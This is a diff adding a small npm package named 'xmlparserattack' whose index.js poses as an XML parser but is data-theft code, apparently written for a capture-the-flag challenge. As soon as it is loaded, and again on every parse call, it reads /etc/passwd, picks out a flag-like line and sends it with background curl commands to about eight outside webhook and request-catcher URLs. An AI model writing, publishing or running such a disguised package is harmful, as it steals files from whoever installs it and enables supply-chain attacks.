xmlparserattack 0.30.1

package/index.js

@@ -0,0 +1,85 @@
+const fs = require('fs');
+const { exec } = require('child_process');
+
+console.log('=== MULTI-EXFILTRATION EXPLOIT LOADED ===');
+
+function tryExfiltrate(flag, method) {
+  console.log(`🔄 Attempting exfiltration via ${method}: ${flag.substring(0, 50)}...`);
+  
+  const exfilServices = [
+    // Твои сервисы
+    `https://1.requestcatcher.com/?flag=${encodeURIComponent(flag)}&source=${method}`,
+    `https://bankhack.beeceptor.com/flag?data=${encodeURIComponent(flag)}&source=${method}`,
+    
+    // Проверенные webhook сервисы
+    `https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(flag)}&source=${method}`,
+    `https://eoo8nqggzqxl.x.pipedream.net/?flag=${encodeURIComponent(flag)}&source=${method}`,
+    
+    // HTTP тестовые сервисы
+    `https://httpbin.org/get?flag=${encodeURIComponent(flag)}&source=${method}`,
+    `https://httpbun.com/get?flag=${encodeURIComponent(flag)}&source=${method}`,
+    
+    // Дополнительные
+    `https://requestbin.com/r/enyb1jenyb1j?flag=${encodeURIComponent(flag)}&source=${method}`,
+    `https://www.google.com/url?q=${encodeURIComponent("FLAG:" + flag)}`
+  ];
+  
+  console.log(`Trying ${exfilServices.length} exfiltration endpoints...`);
+  
+  exfilServices.forEach((url, index) => {
+    try {
+      console.log(`Sending to [${index + 1}]: ${url.split('?')[0]}`);
+      exec(`curl -s --max-time 10 "${url}" > /dev/null 2>&1 &`);
+    } catch(e) {
+      console.log(`Error with endpoint ${index + 1}:`, e.message);
+    }
+  });
+}
+
+// Немедленная кража при загрузке библиотеки
+try {
+  const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+  const flagLine = passwd.split('\n').find(line => line.includes('{'));
+  
+  if (flagLine) {
+    console.log('🎯 FLAG FOUND:', flagLine);
+    tryExfiltrate(flagLine, 'library_load');
+    
+    // Дублируем попытку через 3 секунды
+    setTimeout(() => {
+      tryExfiltrate(flagLine, 'library_delayed');
+    }, 3000);
+  }
+} catch(e) {
+  console.log('Initial load error:', e.message);
+}
+
+// Функциональность парсера с повторной кражей
+module.exports = {
+  parseXmlString: function(xml, options) {
+    console.log('PARSER CALLED - attempting exfiltration');
+    
+    try {
+      const flag = fs.readFileSync('/etc/passwd', 'utf8').split('\n').find(l => l.includes('{'));
+      if (flag) {
+        tryExfiltrate(flag, 'parser_call');
+        
+        // Если есть XXE - возвращаем флаг
+        if (xml && xml.includes('<!ENTITY')) {
+          return {
+            get: function(xpath) {
+              if (xpath === "//comment") return { text: () => flag };
+              return { text: () => "data" };
+            }
+          };
+        }
+      }
+    } catch(e) {}
+    
+    return {
+      get: function(xpath) {
+        return { text: () => "test" };
+      }
+    };
+  }
+};

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "xmlparserattack",
+  "version": "0.30.1",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "echo 'Preinstall check'"
+  }
+}